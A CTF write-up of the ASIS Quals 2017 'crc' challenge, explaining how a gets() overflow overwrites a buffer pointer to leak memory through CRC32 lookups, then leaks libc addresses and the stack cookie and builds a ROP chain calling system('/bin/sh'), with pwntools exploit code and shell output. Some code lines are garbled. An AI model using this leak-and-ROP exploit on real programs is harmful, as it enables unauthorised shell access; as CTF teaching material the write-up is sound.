ASIS 2017 Quals CRC

This is a write-up of the challenge crc from ASIS Quals 2017 CTF

The challenge

The challenge is a 32-bits binary, which can calculate the crc32 of data we send it.

The challenge has stack cookies.

**********WELCOME TO THE CRC32 CALCULATOR**********

 1) Calculate a CRC
 2) Exit

The Solution

The challenge boils down to the following;

char buf[100];
char *buf_ptr = &buf;
unsigned int size;
    size = get_userinput_number()
    if(size > 99){ too much data }
    calcCrc(buf_ptr, size);

So the problem is that the gets can overwrite the pointer buf_ptr, and so give us the crc32 of any byes in the memory. This obviously leads to a memory leak.

Reliable memory leak

from pwn import *

reverse_crc = {crc.crc_32(p8(i)): p8(i) for i in range(2**8)}

r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

def leak(addr):
    if "\n" in p32(addr): return ""
    #What is the length of your data:
    #Please send me 1 bytes to process:
    r.sendline("A"*100 + p32(addr))
    r.recvuntil("CRC is: ")
    crc = int(r.recvline(), 16)
    return reverse_crc[crc]

This leak is not good enough because the address from which we are leaking must not contain newlines. However it demonstrates the vulnerability quite well.

We can fix the problem with most of the newlines if we simple leak 2 bytes instead and do a little workaround address with newlines:

from pwn import *

reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)}

r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")

def leak(addr):
    f = 0
    if p32(addr)[0] == "\n":"Leaking from address with newline... Fixing"
        f = 1
        addr -= 1
    #What is the length of your data:
    #Please send me 2 bytes to process:
    r.sendline("A"*100 + p32(addr))
    r.recvuntil("CRC is: ")
    crc = int(r.recvline(), 16)
    return reverse_crc[crc][f:]


Now we can simply use the pwntools pointer chasing magic module DynELF to leak symbols from libc:

e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d")
d = DynELF(leak, elf=e)

system = d.lookup("system", lib="")"system = 0x%x", system)

This gives us the address of system. Next thing we can do is find our buffer on the stack, leak the cookie.

environ = d.lookup("environ", lib="")"environ = 0x%x", environ)

stack = leak.d(environ)
for i in range(0x400):
    if leak.d(stack-i) == 0x41414141: break
stack = stack - i"stack = 0x%x", stack)

cookie = leak.d(stack+8)"cookie = 0x%x", cookie)

Then if we put /bin/sh\x00 in the buffer we overflow we can even find it at binsh = stack-100+4 and finally we can exploit the function get_userinput_number because it uses gets and ROP to win:

rop = flat(["A"*40, cookie, "B"*12, system, 0x41414141, binsh])

assert "\n" not in rop


r.sendline("echo SHELL")


Final exploit

$ python
[+] Calculating CRC reverse lookup table: Done
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': Done
[+] Loading from '/home/user/crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d': 0xf7792930
[+] Resolving 'system' in '': 0xf7792930
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
[*] system = 0xf75de3e0
[+] Resolving 'environ' in '': 0xf774ade0
[*] environ = 0xf774ade0
[*] stack = 0xffb67624
[*] cookie = 0xf92ee300
[*] Switching to interactive mode
$ cowsay "I got shell"
< I got shell >
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||